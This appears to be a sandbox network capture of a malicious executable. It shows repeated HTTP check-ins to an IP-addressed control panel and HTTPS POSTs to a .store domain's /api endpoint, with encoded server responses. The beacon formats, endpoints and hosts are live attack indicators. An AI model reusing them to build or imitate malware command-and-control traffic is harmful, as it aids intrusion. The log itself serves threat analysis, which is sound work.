Oct 31, 2024 04:18:25.340704918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:26.245373964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	58713	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:27.868805885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:28.764285088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	58714	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:30.282943010 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:31.190006971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	58715	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:32.816792965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:33.714772940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	58716	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:35.229989052 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:36.146028042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	58717	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:37.764867067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:38.669819117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	58718	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:40.197377920 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:41.124209881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	58719	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:42.756432056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:43.672157049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	58721	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:45.194803953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:46.133397102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	58722	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:47.764503002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:48.674120903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	58723	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:50.197390079 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:51.116513968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	58724	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:52.751921892 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:53.650882959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	58725	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:55.164941072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:56.397764921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	58726	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:58.022205114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:58.955282927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:14:56 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 03:14:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 03:14:56 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ra5tkgpau2i65g16hn2p1b9b3h; expires=Sun, 23-Feb-2025 21:01:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hEksS%2B8iJ3I9UZCMkTvYPwtqclgrhenZFDS88wPXx9nt%2BV%2BaPSWpok7S6p%2BDqGb0MPhRIBS6W1FABr9L7yNx%2Bo3jMR6s2x0duY3Mrrz4p6mIN5Jjz1gr4L545M8EZ15rW5aDLmw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a4f493847ab-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1061&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2688950&cwnd=251&unsent_bytes=0&cid=ca0ad57f1d8d88e7&ts=681&x=0"
2024-10-31 03:14:56 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 03:14:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:14:57 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 03:14:57 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 03:14:58 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rb0lp373a1q6aapnggs71lkqkl; expires=Sun, 23-Feb-2025 21:01:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QMesgeThHnTUmydef6BAkLz9UTq5YQ4%2Fp6SFVhW4bsAJ0sBMK5w8Ok8PE5Wz%2BzXf%2FIaRx6NAym6xI%2FovE3j8uGj2wDvLWEvKjbAnALJ70XBv18qApMO9dSlWNOiHP46pa1FcF2c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a56483d6b85-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1268&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2154761&cwnd=246&unsent_bytes=0&cid=2a8974c1836845cb&ts=445&x=0"
2024-10-31 03:14:58 UTC	354	IN	Data Raw: 34 34 36 63 0d 0a 38 38 69 38 75 33 74 5a 6c 33 48 56 33 74 57 6a 63 63 32 6f 5a 37 63 58 4b 55 4d 44 34 36 55 63 74 6f 46 52 2f 35 39 6f 68 46 57 49 36 73 71 5a 51 57 32 37 55 36 61 37 39 35 6b 46 76 39 30 43 6d 7a 56 49 4a 79 48 5a 77 33 33 61 38 6a 54 54 76 52 37 70 64 38 6d 75 33 64 63 49 50 4c 74 54 73 4b 62 33 6d 53 71 32 69 67 4c 5a 4e 52 4e 68 5a 6f 6e 48 66 64 72 6a 4d 4a 54 77 47 4f 67 32 6d 36 54 62 30 78 34 36 38 78 43 35 73 37 44 47 46 4b 7a 43 43 64 35 36 51 53 34 68 7a 34 64 35 7a 4b 4e 72 33 64 49 4e 38 44 53 2b 71 63 2f 51 57 53 53 37 43 76 65 37 75 34 46 4c 37 38 6b 43 31 58 74 50 4a 32 69 4c 7a 58 54 53 34 6a 57 56 37 77 48 69 50 5a 75 71 32 4e 49 55 4d 2b 63 64 73 37 53 37 77 42 36 73 69 6b 75 56 63 6c 4e 68 4f 63 47 55 54 4e 66 79 49 Data Ascii: 446c88i8u3tZl3HV3tWjcc2oZ7cXKUMD46UctoFR/59ohFWI6sqZQW27U6a795kFv90CmzVIJyHZw33a8jTTvR7pd8mu3dcIPLtTsKb3mSq2igLZNRNhZonHfdrjMJTwGOg2m6Tb0x468xC5s7DGFKzCCd56QS4hz4d5zKNr3dIN8DS+qc/QWSS7Cve7u4FL78kC1XtPJ2iLzXTS4jWV7wHiPZuq2NIUM+cds7S7wB6sikuVclNhOcGUTNfyI
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 4e 76 55 42 76 37 65 38 78 41 47 6b 77 77 6a 59 64 55 59 72 62 6f 4c 48 65 64 37 70 50 4a 66 35 42 2b 73 78 6b 61 71 65 6c 31 6b 38 37 56 50 76 2f 4a 54 45 41 36 6a 47 45 35 64 50 43 7a 34 76 6d 49 64 35 32 4b 4e 72 33 66 55 50 35 54 53 61 70 64 33 52 45 69 6e 31 41 62 47 78 73 74 4d 56 71 73 51 50 31 6d 64 42 4c 32 65 43 7a 6e 58 64 35 6a 53 5a 76 55 53 6d 4d 49 6e 71 68 70 6b 34 4e 76 34 66 76 61 75 33 67 51 7a 68 30 30 58 53 65 51 74 35 49 59 58 47 65 74 58 6e 50 5a 50 35 42 75 41 35 6e 4b 58 59 30 78 6b 38 2f 78 75 2f 76 62 72 4b 48 4b 2f 50 43 4e 46 7a 52 79 42 6b 77 59 6b 2b 30 2f 74 7a 78 62 30 6b 34 54 53 44 36 4f 76 61 46 7a 58 79 42 66 65 6a 2b 64 68 54 71 4d 5a 46 6a 54 56 46 4a 47 36 54 78 6d 7a 52 37 53 47 52 2b 41 7a 72 4e 4a 2b 71 32 39 34 Data Ascii: NvUBv7e8xAGkwwjYdUYrboLHed7pPJf5B+sxkaqel1k87VPv/JTEA6jGE5dPCz4vmId52KNr3fUP5TSapd3REin1AbGxstMVqsQP1mdBL2eCznXd5jSZvUSmMInqhpk4Nv4fvau3gQzh00XSeQt5IYXGetXnPZP5BuA5nKXY0xk8/xu/vbrKHK/PCNFzRyBkwYk+0/tzxb0k4TSD6OvaFzXyBfej+dhTqMZFjTVFJG6TxmzR7SGR+AzrNJ+q294
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 66 65 6a 2b 64 68 54 71 4d 5a 46 6a 54 56 48 4b 47 47 4b 7a 58 72 55 35 44 36 59 2f 67 33 6c 4f 70 61 67 30 4e 34 64 4e 2f 77 65 73 62 79 77 78 52 61 39 7a 77 7a 5a 65 51 74 76 49 59 62 66 50 6f 79 6a 48 4a 72 72 43 63 6b 30 67 4b 4f 65 78 6c 63 69 74 52 53 37 2f 4f 2b 42 46 4b 72 43 44 74 4e 39 53 7a 4e 6b 6a 38 78 2f 33 75 55 79 6b 50 45 4d 35 6a 61 52 72 4e 4c 5a 48 6a 7a 6e 41 62 4b 36 70 63 74 54 34 59 6f 43 7a 54 55 54 59 56 65 52 30 47 2f 43 6f 51 61 65 38 77 54 68 49 64 47 31 6b 4d 42 5a 50 50 6c 54 37 2f 79 38 77 52 2b 6f 77 67 50 52 66 55 51 75 61 4a 50 47 63 74 72 78 4e 4a 33 30 42 4f 6b 37 6d 4b 66 5a 31 42 49 78 2b 42 65 77 76 66 65 50 55 36 6a 53 52 59 30 31 66 54 46 73 6a 65 6c 31 32 4f 70 7a 67 72 4d 54 70 6a 43 64 36 6f 61 5a 48 54 66 39 Data Ascii: fej+dhTqMZFjTVHKGGKzXrU5D6Y/g3lOpag0N4dN/wesbywxRa9zwzZeQtvIYbfPoyjHJrrCck0gKOexlcitRS7/O+BFKrCDtN9SzNkj8x/3uUykPEM5jaRrNLZHjznAbK6pctT4YoCzTUTYVeR0G/CoQae8wThIdG1kMBZPPlT7/y8wR+owgPRfUQuaJPGctrxNJ30BOk7mKfZ1BIx+BewvfePU6jSRY01fTFsjel12OpzgrMTpjCd6oaZHTf9
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 4c 45 46 36 6a 4f 41 39 6f 31 42 57 46 6d 6d 59 63 6d 6c 4d 77 55 71 4c 38 72 33 48 65 4f 35 4d 65 5a 48 6a 65 31 53 2f 65 77 74 4d 30 62 6f 4d 77 4d 32 58 39 43 4b 6d 32 4b 77 33 4c 64 35 6a 57 63 2b 41 2f 6e 4d 35 32 67 32 4e 6f 61 4e 50 6f 63 76 2f 7a 35 67 52 53 33 69 6c 32 56 55 46 77 71 62 34 65 48 59 5a 72 36 63 35 72 78 53 72 35 33 6e 61 50 59 33 78 77 33 39 42 57 2f 75 62 2f 46 45 71 6e 4d 42 74 70 78 54 69 42 75 68 63 74 77 33 75 49 79 6b 66 59 46 37 54 4c 52 35 4a 37 65 41 58 75 74 55 34 61 2f 6f 64 59 44 6f 34 6f 61 6d 32 77 4c 4a 6d 33 42 6e 7a 37 56 38 54 6d 58 38 77 2f 70 4d 70 4b 6c 32 64 51 66 4e 2f 38 61 76 37 71 34 79 41 47 73 78 67 76 53 65 30 63 76 62 49 76 45 63 35 53 74 63 35 72 6c 53 72 35 33 76 61 33 54 39 78 49 33 38 6c 4f 6f 38 Data Ascii: LEF6jOA9o1BWFmmYcmlMwUqL8r3HeO5MeZHje1S/ewtM0boMwM2X9CKm2Kw3Ld5jWc+A/nM52g2NoaNPocv/z5gRS3il2VUFwqb4eHYZr6c5rxSr53naPY3xw39BW/ub/FEqnMBtpxTiBuhctw3uIykfYF7TLR5J7eAXutU4a/odYDo4oam2wLJm3Bnz7V8TmX8w/pMpKl2dQfN/8av7q4yAGsxgvSe0cvbIvEc5Stc5rlSr53va3T9xI38lOo8
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 76 7a 52 32 56 4c 51 73 58 5a 70 48 58 66 5a 62 53 4a 5a 37 72 41 65 73 37 30 62 57 51 77 46 6b 38 2b 56 50 76 2f 4c 48 4f 47 71 7a 46 42 4e 78 35 52 69 52 6f 68 4d 5a 34 30 4f 6b 35 6e 66 73 4d 35 7a 4b 62 71 64 2f 54 45 44 7a 39 46 4c 53 75 39 34 39 54 71 4e 4a 46 6a 54 56 69 4a 6e 4f 50 31 7a 37 4c 72 53 72 64 2b 67 61 6d 62 39 47 75 31 4e 59 64 50 50 6b 56 73 72 71 36 77 42 79 75 79 67 72 52 66 6b 49 6e 59 49 7a 43 63 39 44 78 4f 5a 62 79 42 75 38 37 6e 4f 71 51 6d 52 34 6a 74 55 76 33 6a 62 72 50 48 61 6a 63 52 63 6f 37 55 6d 46 6d 6a 59 63 6d 6c 4f 49 2f 6b 76 34 46 35 54 53 51 6f 4d 7a 4c 46 54 4c 39 46 72 75 33 75 63 63 42 71 63 55 4d 31 6e 5a 43 4a 6d 6d 4e 7a 58 33 54 6f 33 33 64 2b 68 4b 6d 62 39 47 4a 79 63 6b 55 65 2b 70 64 72 76 79 77 7a 56 Data Ascii: vzR2VLQsXZpHXfZbSJZ7rAes70bWQwFk8+VPv/LHOGqzFBNx5RiRohMZ40Ok5nfsM5zKbqd/TEDz9FLSu949TqNJFjTViJnOP1z7LrSrd+gamb9Gu1NYdPPkVsrq6wByuygrRfkInYIzCc9DxOZbyBu87nOqQmR4jtUv3jbrPHajcRco7UmFmjYcmlOI/kv4F5TSQoMzLFTL9Fru3uccBqcUM1nZCJmmNzX3To33d+hKmb9GJyckUe+pdrvywzV
